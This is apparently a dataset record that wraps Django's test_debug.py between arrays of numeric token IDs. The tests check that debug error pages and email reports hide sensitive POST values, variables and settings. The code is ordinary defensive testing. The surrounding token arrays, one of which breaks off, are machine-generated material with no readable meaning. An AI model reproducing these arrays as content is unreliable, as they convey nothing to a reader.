4785, 199, 198, 4164, 822, 8, 1436, 9, 1137, 841, 26, 507, 198, 1274, 14, 2703, 14, 952, 4582, 78, 531, 507, 198, 1274, 14, 3083, 14, 952, 480, 547, 26, 1586, 469, 16, 93, 440, 841, 2783, 60, 78, 1674, 908, 8, 552, 8, 1436, 1724, 507, 198, 1274, 14, 2224, 8, 17, 9, 421, 198, 692, 284, 690, 378, 26, 507, 198, 1274, 14, 2703, 14, 952, 480, 6099, 199, 198, 1274, 14, 2703, 14, 952, 13076, 16, 26, 88, 93, 3126, 17, 5469, 908, 8, 73, 12, 2702, 14, 5301, 6757, 41, 401, 4123, 2788, 16, 2459, 199, 198, 73, 847, 413, 199, 199, 1274, 14, 2703, 14, 952, 4582, 78, 531, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
IRI-Research/django
tests/view_tests/tests/test_debug.py
3
33138
# -*- coding: utf-8 -*- # This coding header is significant for tests, as the debug view is parsing # files to search for such a header to decode the source file content from __future__ import unicode_literals import importlib import inspect import os import re import shutil import sys from tempfile import NamedTemporaryFile, mkdtemp, mkstemp from unittest import skipIf from django.core import mail from django.core.files.uploadedfile import SimpleUploadedFile from django.core.urlresolvers import reverse from django.template.base import TemplateDoesNotExist from django.test import TestCase, RequestFactory, override_settings from django.test.utils import ( setup_test_template_loader, restore_template_loaders) from django.utils.encoding import force_text, force_bytes from django.utils import six from django.views.debug import ExceptionReporter from .. import BrokenException, except_args from ..views import (sensitive_view, non_sensitive_view, paranoid_view, custom_exception_reporter_filter_view, sensitive_method_view, sensitive_args_function_caller, sensitive_kwargs_function_caller, multivalue_dict_key_error) @override_settings(DEBUG=True, TEMPLATE_DEBUG=True) class DebugViewTests(TestCase): urls = "view_tests.urls" def test_files(self): response = self.client.get('/raises/') self.assertEqual(response.status_code, 500) data = { 'file_data.txt': SimpleUploadedFile('file_data.txt', b'haha'), } response = self.client.post('/raises/', data) self.assertContains(response, 'file_data.txt', status_code=500) self.assertNotContains(response, 'haha', status_code=500) def test_403(self): # Ensure no 403.html template exists to test the default case. setup_test_template_loader({}) try: response = self.client.get('/raises403/') self.assertContains(response, '<h1>403 Forbidden</h1>', status_code=403) finally: restore_template_loaders() def test_403_template(self): # Set up a test 403.html template. setup_test_template_loader( {'403.html': 'This is a test template for a 403 Forbidden error.'} ) try: response = self.client.get('/raises403/') self.assertContains(response, 'test template', status_code=403) finally: restore_template_loaders() def test_404(self): response = self.client.get('/raises404/') self.assertEqual(response.status_code, 404) def test_view_exceptions(self): for n in range(len(except_args)): self.assertRaises(BrokenException, self.client.get, reverse('view_exception', args=(n,))) def test_non_l10ned_numeric_ids(self): """ Numeric IDs and fancy traceback context blocks line numbers shouldn't be localized. """ with self.settings(DEBUG=True, USE_L10N=True): response = self.client.get('/raises500/') # We look for a HTML fragment of the form # '<div class="context" id="c38123208">', not '<div class="context" id="c38,123,208"' self.assertContains(response, '<div class="context" id="', status_code=500) match = re.search(b'<div class="context" id="(?P<id>[^"]+)">', response.content) self.assertFalse(match is None) id_repr = match.group('id') self.assertFalse(re.search(b'[^c\d]', id_repr), "Numeric IDs in debug response HTML page shouldn't be localized (value: %s)." % id_repr) def test_template_exceptions(self): for n in range(len(except_args)): try: self.client.get(reverse('template_exception', args=(n,))) except Exception: raising_loc = inspect.trace()[-1][-2][0].strip() self.assertFalse(raising_loc.find('raise BrokenException') == -1, "Failed to find 'raise BrokenException' in last frame of traceback, instead found: %s" % raising_loc) def test_template_loader_postmortem(self): """Tests for not existing file""" template_name = "notfound.html" with NamedTemporaryFile(prefix=template_name) as tempfile: tempdir = os.path.dirname(tempfile.name) template_path = os.path.join(tempdir, template_name) with override_settings(TEMPLATE_DIRS=(tempdir,)): response = self.client.get(reverse('raises_template_does_not_exist', kwargs={"path": template_name})) self.assertContains(response, "%s (File does not exist)" % template_path, status_code=500, count=1) @skipIf(sys.platform == "win32", "Python on Windows doesn't have working os.chmod() and os.access().") def test_template_loader_postmortem_notreadable(self): """Tests for not readable file""" with NamedTemporaryFile() as tempfile: template_name = tempfile.name tempdir = os.path.dirname(tempfile.name) template_path = os.path.join(tempdir, template_name) os.chmod(template_path, 0o0222) with override_settings(TEMPLATE_DIRS=(tempdir,)): response = self.client.get(reverse('raises_template_does_not_exist', kwargs={"path": template_name})) self.assertContains(response, "%s (File is not readable)" % template_path, status_code=500, count=1) def test_template_loader_postmortem_notafile(self): """Tests for not being a file""" try: template_path = mkdtemp() template_name = os.path.basename(template_path) tempdir = os.path.dirname(template_path) with override_settings(TEMPLATE_DIRS=(tempdir,)): response = self.client.get(reverse('raises_template_does_not_exist', kwargs={"path": template_name})) self.assertContains(response, "%s (Not a file)" % template_path, status_code=500, count=1) finally: shutil.rmtree(template_path) def test_no_template_source_loaders(self): """ Make sure if you don't specify a template, the debug view doesn't blow up. """ self.assertRaises(TemplateDoesNotExist, self.client.get, '/render_no_template/') @override_settings(ROOT_URLCONF='view_tests.default_urls') def test_default_urlconf_template(self): """ Make sure that the default urlconf template is shown shown instead of the technical 404 page, if the user has not altered their url conf yet. """ response = self.client.get('/') self.assertContains( response, "<h2>Congratulations on your first Django-powered page.</h2>" ) @override_settings(ROOT_URLCONF='view_tests.regression_21530_urls') def test_regression_21530(self): """ Regression test for bug #21530. If the admin app include is replaced with exactly one url pattern, then the technical 404 template should be displayed. The bug here was that an AttributeError caused a 500 response. """ response = self.client.get('/') self.assertContains( response, "Page not found <span>(404)</span>", status_code=404 ) class ExceptionReporterTests(TestCase): rf = RequestFactory() def test_request_and_exception(self): "A simple exception report can be generated" try: request = self.rf.get('/test_view/') raise ValueError("Can't find my keys") except ValueError: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(request, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertIn('<h1>ValueError at /test_view/</h1>', html) self.assertIn('<pre class="exception_value">Can&#39;t find my keys</pre>', html) self.assertIn('<th>Request Method:</th>', html) self.assertIn('<th>Request URL:</th>', html) self.assertIn('<th>Exception Type:</th>', html) self.assertIn('<th>Exception Value:</th>', html) self.assertIn('<h2>Traceback ', html) self.assertIn('<h2>Request information</h2>', html) self.assertNotIn('<p>Request data not supplied</p>', html) def test_no_request(self): "An exception report can be generated without request" try: raise ValueError("Can't find my keys") except ValueError: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(None, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertIn('<h1>ValueError</h1>', html) self.assertIn('<pre class="exception_value">Can&#39;t find my keys</pre>', html) self.assertNotIn('<th>Request Method:</th>', html) self.assertNotIn('<th>Request URL:</th>', html) self.assertIn('<th>Exception Type:</th>', html) self.assertIn('<th>Exception Value:</th>', html) self.assertIn('<h2>Traceback ', html) self.assertIn('<h2>Request information</h2>', html) self.assertIn('<p>Request data not supplied</p>', html) def test_eol_support(self): """Test that the ExceptionReporter supports Unix, Windows and Macintosh EOL markers""" LINES = list('print %d' % i for i in range(1, 6)) reporter = ExceptionReporter(None, None, None, None) for newline in ['\n', '\r\n', '\r']: fd, filename = mkstemp(text=False) os.write(fd, force_bytes(newline.join(LINES) + newline)) os.close(fd) try: self.assertEqual( reporter._get_lines_from_file(filename, 3, 2), (1, LINES[1:3], LINES[3], LINES[4:]) ) finally: os.unlink(filename) def test_no_exception(self): "An exception report can be generated for just a request" request = self.rf.get('/test_view/') reporter = ExceptionReporter(request, None, None, None) html = reporter.get_traceback_html() self.assertIn('<h1>Report at /test_view/</h1>', html) self.assertIn('<pre class="exception_value">No exception message supplied</pre>', html) self.assertIn('<th>Request Method:</th>', html) self.assertIn('<th>Request URL:</th>', html) self.assertNotIn('<th>Exception Type:</th>', html) self.assertNotIn('<th>Exception Value:</th>', html) self.assertNotIn('<h2>Traceback ', html) self.assertIn('<h2>Request information</h2>', html) self.assertNotIn('<p>Request data not supplied</p>', html) def test_request_and_message(self): "A message can be provided in addition to a request" request = self.rf.get('/test_view/') reporter = ExceptionReporter(request, None, "I'm a little teapot", None) html = reporter.get_traceback_html() self.assertIn('<h1>Report at /test_view/</h1>', html) self.assertIn('<pre class="exception_value">I&#39;m a little teapot</pre>', html) self.assertIn('<th>Request Method:</th>', html) self.assertIn('<th>Request URL:</th>', html) self.assertNotIn('<th>Exception Type:</th>', html) self.assertNotIn('<th>Exception Value:</th>', html) self.assertNotIn('<h2>Traceback ', html) self.assertIn('<h2>Request information</h2>', html) self.assertNotIn('<p>Request data not supplied</p>', html) def test_message_only(self): reporter = ExceptionReporter(None, None, "I'm a little teapot", None) html = reporter.get_traceback_html() self.assertIn('<h1>Report</h1>', html) self.assertIn('<pre class="exception_value">I&#39;m a little teapot</pre>', html) self.assertNotIn('<th>Request Method:</th>', html) self.assertNotIn('<th>Request URL:</th>', html) self.assertNotIn('<th>Exception Type:</th>', html) self.assertNotIn('<th>Exception Value:</th>', html) self.assertNotIn('<h2>Traceback ', html) self.assertIn('<h2>Request information</h2>', html) self.assertIn('<p>Request data not supplied</p>', html) @skipIf(six.PY2, 'Bug manifests on PY3 only') def test_unfrozen_importlib(self): """ importlib is not a frozen app, but its loader thinks it's frozen which results in an ImportError on Python 3. Refs #21443. """ try: request = self.rf.get('/test_view/') importlib.import_module('abc.def.invalid.name') except Exception: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(request, exc_type, exc_value, tb) html = reporter.get_traceback_html() self.assertIn('<h1>ImportError at /test_view/</h1>', html) class PlainTextReportTests(TestCase): rf = RequestFactory() def test_request_and_exception(self): "A simple exception report can be generated" try: request = self.rf.get('/test_view/') raise ValueError("Can't find my keys") except ValueError: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(request, exc_type, exc_value, tb) text = reporter.get_traceback_text() self.assertIn('ValueError at /test_view/', text) self.assertIn("Can't find my keys", text) self.assertIn('Request Method:', text) self.assertIn('Request URL:', text) self.assertIn('Exception Type:', text) self.assertIn('Exception Value:', text) self.assertIn('Traceback:', text) self.assertIn('Request information:', text) self.assertNotIn('Request data not supplied', text) def test_no_request(self): "An exception report can be generated without request" try: raise ValueError("Can't find my keys") except ValueError: exc_type, exc_value, tb = sys.exc_info() reporter = ExceptionReporter(None, exc_type, exc_value, tb) text = reporter.get_traceback_text() self.assertIn('ValueError', text) self.assertIn("Can't find my keys", text) self.assertNotIn('Request Method:', text) self.assertNotIn('Request URL:', text) self.assertIn('Exception Type:', text) self.assertIn('Exception Value:', text) self.assertIn('Traceback:', text) self.assertIn('Request data not supplied', text) def test_no_exception(self): "An exception report can be generated for just a request" request = self.rf.get('/test_view/') reporter = ExceptionReporter(request, None, None, None) reporter.get_traceback_text() def test_request_and_message(self): "A message can be provided in addition to a request" request = self.rf.get('/test_view/') reporter = ExceptionReporter(request, None, "I'm a little teapot", None) reporter.get_traceback_text() def test_message_only(self): reporter = ExceptionReporter(None, None, "I'm a little teapot", None) reporter.get_traceback_text() class ExceptionReportTestMixin(object): # Mixin used in the ExceptionReporterFilterTests and # AjaxResponseExceptionReporterFilter tests below breakfast_data = {'sausage-key': 'sausage-value', 'baked-beans-key': 'baked-beans-value', 'hash-brown-key': 'hash-brown-value', 'bacon-key': 'bacon-value'} def verify_unsafe_response(self, view, check_for_vars=True, check_for_POST_params=True): """ Asserts that potentially sensitive info are displayed in the response. """ request = self.rf.post('/some_url/', self.breakfast_data) response = view(request) if check_for_vars: # All variables are shown. self.assertContains(response, 'cooked_eggs', status_code=500) self.assertContains(response, 'scrambled', status_code=500) self.assertContains(response, 'sauce', status_code=500) self.assertContains(response, 'worcestershire', status_code=500) if check_for_POST_params: for k, v in self.breakfast_data.items(): # All POST parameters are shown. self.assertContains(response, k, status_code=500) self.assertContains(response, v, status_code=500) def verify_safe_response(self, view, check_for_vars=True, check_for_POST_params=True): """ Asserts that certain sensitive info are not displayed in the response. """ request = self.rf.post('/some_url/', self.breakfast_data) response = view(request) if check_for_vars: # Non-sensitive variable's name and value are shown. self.assertContains(response, 'cooked_eggs', status_code=500) self.assertContains(response, 'scrambled', status_code=500) # Sensitive variable's name is shown but not its value. self.assertContains(response, 'sauce', status_code=500) self.assertNotContains(response, 'worcestershire', status_code=500) if check_for_POST_params: for k, v in self.breakfast_data.items(): # All POST parameters' names are shown. self.assertContains(response, k, status_code=500) # Non-sensitive POST parameters' values are shown. self.assertContains(response, 'baked-beans-value', status_code=500) self.assertContains(response, 'hash-brown-value', status_code=500) # Sensitive POST parameters' values are not shown. self.assertNotContains(response, 'sausage-value', status_code=500) self.assertNotContains(response, 'bacon-value', status_code=500) def verify_paranoid_response(self, view, check_for_vars=True, check_for_POST_params=True): """ Asserts that no variables or POST parameters are displayed in the response. """ request = self.rf.post('/some_url/', self.breakfast_data) response = view(request) if check_for_vars: # Show variable names but not their values. self.assertContains(response, 'cooked_eggs', status_code=500) self.assertNotContains(response, 'scrambled', status_code=500) self.assertContains(response, 'sauce', status_code=500) self.assertNotContains(response, 'worcestershire', status_code=500) if check_for_POST_params: for k, v in self.breakfast_data.items(): # All POST parameters' names are shown. self.assertContains(response, k, status_code=500) # No POST parameters' values are shown. self.assertNotContains(response, v, status_code=500) def verify_unsafe_email(self, view, check_for_POST_params=True): """ Asserts that potentially sensitive info are displayed in the email report. """ with self.settings(ADMINS=(('Admin', 'admin@fattie-breakie.com'),)): mail.outbox = [] # Empty outbox request = self.rf.post('/some_url/', self.breakfast_data) view(request) self.assertEqual(len(mail.outbox), 1) email = mail.outbox[0] # Frames vars are never shown in plain text email reports. body_plain = force_text(email.body) self.assertNotIn('cooked_eggs', body_plain) self.assertNotIn('scrambled', body_plain) self.assertNotIn('sauce', body_plain) self.assertNotIn('worcestershire', body_plain) # Frames vars are shown in html email reports. body_html = force_text(email.alternatives[0][0]) self.assertIn('cooked_eggs', body_html) self.assertIn('scrambled', body_html) self.assertIn('sauce', body_html) self.assertIn('worcestershire', body_html) if check_for_POST_params: for k, v in self.breakfast_data.items(): # All POST parameters are shown. self.assertIn(k, body_plain) self.assertIn(v, body_plain) self.assertIn(k, body_html) self.assertIn(v, body_html) def verify_safe_email(self, view, check_for_POST_params=True): """ Asserts that certain sensitive info are not displayed in the email report. """ with self.settings(ADMINS=(('Admin', 'admin@fattie-breakie.com'),)): mail.outbox = [] # Empty outbox request = self.rf.post('/some_url/', self.breakfast_data) view(request) self.assertEqual(len(mail.outbox), 1) email = mail.outbox[0] # Frames vars are never shown in plain text email reports. body_plain = force_text(email.body) self.assertNotIn('cooked_eggs', body_plain) self.assertNotIn('scrambled', body_plain) self.assertNotIn('sauce', body_plain) self.assertNotIn('worcestershire', body_plain) # Frames vars are shown in html email reports. body_html = force_text(email.alternatives[0][0]) self.assertIn('cooked_eggs', body_html) self.assertIn('scrambled', body_html) self.assertIn('sauce', body_html) self.assertNotIn('worcestershire', body_html) if check_for_POST_params: for k, v in self.breakfast_data.items(): # All POST parameters' names are shown. self.assertIn(k, body_plain) # Non-sensitive POST parameters' values are shown. self.assertIn('baked-beans-value', body_plain) self.assertIn('hash-brown-value', body_plain) self.assertIn('baked-beans-value', body_html) self.assertIn('hash-brown-value', body_html) # Sensitive POST parameters' values are not shown. self.assertNotIn('sausage-value', body_plain) self.assertNotIn('bacon-value', body_plain) self.assertNotIn('sausage-value', body_html) self.assertNotIn('bacon-value', body_html) def verify_paranoid_email(self, view): """ Asserts that no variables or POST parameters are displayed in the email report. """ with self.settings(ADMINS=(('Admin', 'admin@fattie-breakie.com'),)): mail.outbox = [] # Empty outbox request = self.rf.post('/some_url/', self.breakfast_data) view(request) self.assertEqual(len(mail.outbox), 1) email = mail.outbox[0] # Frames vars are never shown in plain text email reports. body = force_text(email.body) self.assertNotIn('cooked_eggs', body) self.assertNotIn('scrambled', body) self.assertNotIn('sauce', body) self.assertNotIn('worcestershire', body) for k, v in self.breakfast_data.items(): # All POST parameters' names are shown. self.assertIn(k, body) # No POST parameters' values are shown. self.assertNotIn(v, body) class ExceptionReporterFilterTests(TestCase, ExceptionReportTestMixin): """ Ensure that sensitive information can be filtered out of error reports. Refs #14614. """ urls = 'view_tests.urls' rf = RequestFactory() def test_non_sensitive_request(self): """ Ensure that everything (request info and frame variables) can bee seen in the default error reports for non-sensitive requests. """ with self.settings(DEBUG=True): self.verify_unsafe_response(non_sensitive_view) self.verify_unsafe_email(non_sensitive_view) with self.settings(DEBUG=False): self.verify_unsafe_response(non_sensitive_view) self.verify_unsafe_email(non_sensitive_view) def test_sensitive_request(self): """ Ensure that sensitive POST parameters and frame variables cannot be seen in the default error reports for sensitive requests. """ with self.settings(DEBUG=True): self.verify_unsafe_response(sensitive_view) self.verify_unsafe_email(sensitive_view) with self.settings(DEBUG=False): self.verify_safe_response(sensitive_view) self.verify_safe_email(sensitive_view) def test_paranoid_request(self): """ Ensure that no POST parameters and frame variables can be seen in the default error reports for "paranoid" requests. """ with self.settings(DEBUG=True): self.verify_unsafe_response(paranoid_view) self.verify_unsafe_email(paranoid_view) with self.settings(DEBUG=False): self.verify_paranoid_response(paranoid_view) self.verify_paranoid_email(paranoid_view) def test_multivalue_dict_key_error(self): """ #21098 -- Ensure that sensitive POST parameters cannot be seen in the error reports for if request.POST['nonexistent_key'] throws an error. """ with self.settings(DEBUG=True): self.verify_unsafe_response(multivalue_dict_key_error) self.verify_unsafe_email(multivalue_dict_key_error) with self.settings(DEBUG=False): self.verify_safe_response(multivalue_dict_key_error) self.verify_safe_email(multivalue_dict_key_error) def test_custom_exception_reporter_filter(self): """ Ensure that it's possible to assign an exception reporter filter to the request to bypass the one set in DEFAULT_EXCEPTION_REPORTER_FILTER. """ with self.settings(DEBUG=True): self.verify_unsafe_response(custom_exception_reporter_filter_view) self.verify_unsafe_email(custom_exception_reporter_filter_view) with self.settings(DEBUG=False): self.verify_unsafe_response(custom_exception_reporter_filter_view) self.verify_unsafe_email(custom_exception_reporter_filter_view) def test_sensitive_method(self): """ Ensure that the sensitive_variables decorator works with object methods. Refs #18379. """ with self.settings(DEBUG=True): self.verify_unsafe_response(sensitive_method_view, check_for_POST_params=False) self.verify_unsafe_email(sensitive_method_view, check_for_POST_params=False) with self.settings(DEBUG=False): self.verify_safe_response(sensitive_method_view, check_for_POST_params=False) self.verify_safe_email(sensitive_method_view, check_for_POST_params=False) def test_sensitive_function_arguments(self): """ Ensure that sensitive variables don't leak in the sensitive_variables decorator's frame, when those variables are passed as arguments to the decorated function. Refs #19453. """ with self.settings(DEBUG=True): self.verify_unsafe_response(sensitive_args_function_caller) self.verify_unsafe_email(sensitive_args_function_caller) with self.settings(DEBUG=False): self.verify_safe_response(sensitive_args_function_caller, check_for_POST_params=False) self.verify_safe_email(sensitive_args_function_caller, check_for_POST_params=False) def test_sensitive_function_keyword_arguments(self): """ Ensure that sensitive variables don't leak in the sensitive_variables decorator's frame, when those variables are passed as keyword arguments to the decorated function. Refs #19453. """ with self.settings(DEBUG=True): self.verify_unsafe_response(sensitive_kwargs_function_caller) self.verify_unsafe_email(sensitive_kwargs_function_caller) with self.settings(DEBUG=False): self.verify_safe_response(sensitive_kwargs_function_caller, check_for_POST_params=False) self.verify_safe_email(sensitive_kwargs_function_caller, check_for_POST_params=False) def test_callable_settings(self): """ Callable settings should not be evaluated in the debug page (#21345). """ def callable_setting(): return "This should not be displayed" with self.settings(DEBUG=True, FOOBAR=callable_setting): response = self.client.get('/raises500/') self.assertNotContains(response, "This should not be displayed", status_code=500) def test_dict_setting_with_non_str_key(self): """ A dict setting containing a non-string key should not break the debug page (#12744). """ with self.settings(DEBUG=True, FOOBAR={42: None}): response = self.client.get('/raises500/') self.assertContains(response, 'FOOBAR', status_code=500) def test_sensitive_settings(self): """ The debug page should not show some sensitive settings (password, secret key, ...). """ sensitive_settings = [ 'SECRET_KEY', 'PASSWORD', 'API_KEY', 'AUTH_TOKEN', ] for setting in sensitive_settings: with self.settings(DEBUG=True, **{setting: "should not be displayed"}): response = self.client.get('/raises500/') self.assertNotContains(response, 'should not be displayed', status_code=500) def test_settings_with_sensitive_keys(self): """ The debug page should filter out some sensitive information found in dict settings. """ sensitive_settings = [ 'SECRET_KEY', 'PASSWORD', 'API_KEY', 'AUTH_TOKEN', ] for setting in sensitive_settings: FOOBAR = { setting: "should not be displayed", 'recursive': {setting: "should not be displayed"}, } with self.settings(DEBUG=True, FOOBAR=FOOBAR): response = self.client.get('/raises500/') self.assertNotContains(response, 'should not be displayed', status_code=500) class AjaxResponseExceptionReporterFilter(TestCase, ExceptionReportTestMixin): """ Ensure that sensitive information can be filtered out of error reports. Here we specifically test the plain text 500 debug-only error page served when it has been detected the request was sent by JS code. We don't check for (non)existence of frames vars in the traceback information section of the response content because we don't include them in these error pages. Refs #14614. """ rf = RequestFactory(HTTP_X_REQUESTED_WITH='XMLHttpRequest') def test_non_sensitive_request(self): """ Ensure that request info can bee seen in the default error reports for non-sensitive requests. """ with self.settings(DEBUG=True): self.verify_unsafe_response(non_sensitive_view, check_for_vars=False) with self.settings(DEBUG=False): self.verify_unsafe_response(non_sensitive_view, check_for_vars=False) def test_sensitive_request(self): """ Ensure that sensitive POST parameters cannot be seen in the default error reports for sensitive requests. """ with self.settings(DEBUG=True): self.verify_unsafe_response(sensitive_view, check_for_vars=False) with self.settings(DEBUG=False): self.verify_safe_response(sensitive_view, check_for_vars=False) def test_paranoid_request(self): """ Ensure that no POST parameters can be seen in the default error reports for "paranoid" requests. """ with self.settings(DEBUG=True): self.verify_unsafe_response(paranoid_view, check_for_vars=False) with self.settings(DEBUG=False): self.verify_paranoid_response(paranoid_view, check_for_vars=False) def test_custom_exception_reporter_filter(self): """ Ensure that it's possible to assign an exception reporter filter to the request to bypass the one set in DEFAULT_EXCEPTION_REPORTER_FILTER. """ with self.settings(DEBUG=True): self.verify_unsafe_response(custom_exception_reporter_filter_view, check_for_vars=False) with self.settings(DEBUG=False): self.verify_unsafe_response(custom_exception_reporter_filter_view, check_for_vars=False)
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 3, 961, 2803, 1406, 365, 16474, 367, 2295, 12, 465, 314, 3105, 2455, 365, 6057, 199, 3, 1584, 370, 2754, 367, 4066, 282, 1406, 370, 4849, 314, 1350, 570, 1564, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 14802, 199, 646, 6485, 199, 646, 747, 199, 646, 295, 199, 646, 5145, 199, 646, 984, 199, 504, 5549, 492, 31825, 12, 31781, 12, 333, 6080, 808, 199, 504, 2882, 492, 3372, 3917, 199, 199, 504, 1639, 14, 1018, 492, 6016, 199, 504, 1639, 14, 1018, 14, 1725, 14, 19044, 493, 492, 5870, 24665, 199, 504, 1639, 14, 1018, 14, 16522, 492, 3837, 199, 504, 1639, 14, 1160, 14, 1095, 492, 27193, 199, 504, 1639, 14, 396, 492, 7640, 12, 18638, 12, 4278, 63, 1751, 199, 504, 1639, 14, 396, 14, 1208, 492, 334, 272, 3272, 63, 396, 63, 1160, 63, 3422, 12, 9066, 63, 1160, 63, 16370, 9, 199, 504, 1639, 14, 1208, 14, 2991, 492, 3542, 63, 505, 12, 3542, 63, 2394, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 4196, 14, 1757, 492, 2186, 15891, 199, 199, 504, 2508, 492, 23804, 1726, 12, 871, 63, 589, 199, 504, 2508, 4196, 492, 334, 7361, 63, 1345, 12, 2222, 63, 7361, 63, 1345, 12, 623, 290, 1170, 63, 1345, 12, 272, 3537, 63, 1971, 63, 12222, 63, 1541, 63, 1345, 12, 18423, 63, 765, 63, 1345, 12, 272, 18423, 